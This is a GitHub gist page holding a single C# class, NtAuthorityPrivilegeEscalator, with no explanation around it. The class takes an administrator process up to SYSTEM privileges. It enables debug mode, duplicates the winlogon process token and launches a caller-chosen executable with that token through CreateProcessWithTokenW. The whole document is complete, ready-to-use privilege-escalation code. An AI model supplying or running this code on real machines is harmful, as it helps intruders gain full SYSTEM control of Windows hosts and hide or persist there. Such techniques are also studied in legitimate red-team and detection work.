Instantly share code, notes, and snippets.
Created
November 18, 2019 17:48
-
Star
(0)
0
You must be signed in to star a gist -
Fork
(0)
0
You must be signed in to fork a gist
-
Save Paskowsky/1e8f22043d2a4e18373a538776467eca to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class NtAuthorityPrivilegeEscalator { | |
public static bool IsAdmin() { | |
try { | |
Process.EnterDebugMode(); | |
Process.LeaveDebugMode(); | |
return true; | |
} catch { | |
return false; | |
} | |
} | |
public static bool IsNtAuthority() { | |
if (!IsAdmin()) | |
return false; | |
try { | |
return WindowsIdentity.GetCurrent().IsSystem; | |
} catch { | |
return false; | |
} | |
} | |
public NtAuthorityPrivilegeEscalator() { | |
if (!IsAdmin()) { | |
throw new Exception("You must be admin to elevate to NT/Authority"); | |
} | |
} | |
public void Escalate(string filePath) { | |
const int LogonFlagsWithProfile = 1; | |
Process[] winlogonProcesses = Process.GetProcessesByName("winlogon"); | |
foreach(Process winlogon in winlogonProcesses) { | |
try { | |
using(winlogon) { | |
IntPtr dupToken = DuplicateTokenFromProcess(winlogon); | |
if (dupToken == IntPtr.Zero) | |
continue; | |
WindowsImpersonationContext ctx = WindowsIdentity.Impersonate(dupToken); | |
ctx.Undo(); | |
NativeMethods.STARTUPINFO sinfo = new NativeMethods.STARTUPINFO(); | |
sinfo.cb = Marshal.SizeOf(sinfo); | |
NativeMethods.PROCESS_INFORMATION pinfo; | |
// string path = @"C:\Windows\System32\cmd.exe"; | |
string quotedPath = string.Format("\"{0}\"", filePath); | |
if (!NativeMethods.CreateProcessWithTokenW(dupToken, LogonFlagsWithProfile, null, quotedPath, 0, IntPtr.Zero, null, ref sinfo, out pinfo)) | |
throw new Win32Exception(); | |
return; | |
} | |
} catch { | |
} | |
} | |
throw new Exception("Failed to elevate"); | |
} | |
private IntPtr DuplicateTokenFromProcess(Process process) { | |
const uint GENERIC_ALL = 0x10000000; | |
const int SecurityImpersonation = 2; | |
const int accessLevel = 1; | |
IntPtr capturedToken = IntPtr.Zero; | |
Process.EnterDebugMode(); | |
if (!NativeMethods.OpenProcessToken(process.Handle, TokenAccessLevels.Duplicate, ref capturedToken)) | |
throw new Win32Exception(); | |
IntPtr cloneToken = new IntPtr(0); | |
if (!NativeMethods.DuplicateTokenEx(capturedToken, GENERIC_ALL, IntPtr.Zero, SecurityImpersonation, accessLevel, ref cloneToken)) | |
throw new Win32Exception(); | |
Process.LeaveDebugMode(); | |
return cloneToken; | |
} | |
private class NativeMethods { | |
[DllImport("advapi32", SetLastError = true)] | |
public static extern bool OpenProcessToken( | |
IntPtr hProcess, | |
TokenAccessLevels dwDesiredAccess, | |
ref IntPtr hToken); | |
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] | |
public static extern bool CreateProcessWithTokenW( | |
IntPtr hToken, | |
int dwLogonFlags, | |
string lpApplicationName, | |
string lpCommandLine, | |
uint dwCreationFlags, | |
IntPtr lpEnvironment, | |
string lpCurrentDirectory, | |
[In] ref STARTUPINFO lpStartupInfo, | |
out PROCESS_INFORMATION lpProcessInformation); | |
[DllImport("advapi32")] | |
public static extern bool DuplicateTokenEx( | |
IntPtr hExistingToken, | |
uint dwDesiredAccess, | |
IntPtr lpThreadAttributes, | |
int TokenType, | |
int ImpersonationLevel, | |
ref IntPtr phNewToken); | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
public struct STARTUPINFO { | |
public Int32 cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public Int32 dwX; | |
public Int32 dwY; | |
public Int32 dwXSize; | |
public Int32 dwYSize; | |
public Int32 dwXCountChars; | |
public Int32 dwYCountChars; | |
public Int32 dwFillAttribute; | |
public Int32 dwFlags; | |
public Int16 wShowWindow; | |
public Int16 cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
internal struct PROCESS_INFORMATION { | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public int dwProcessId; | |
public int dwThreadId; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment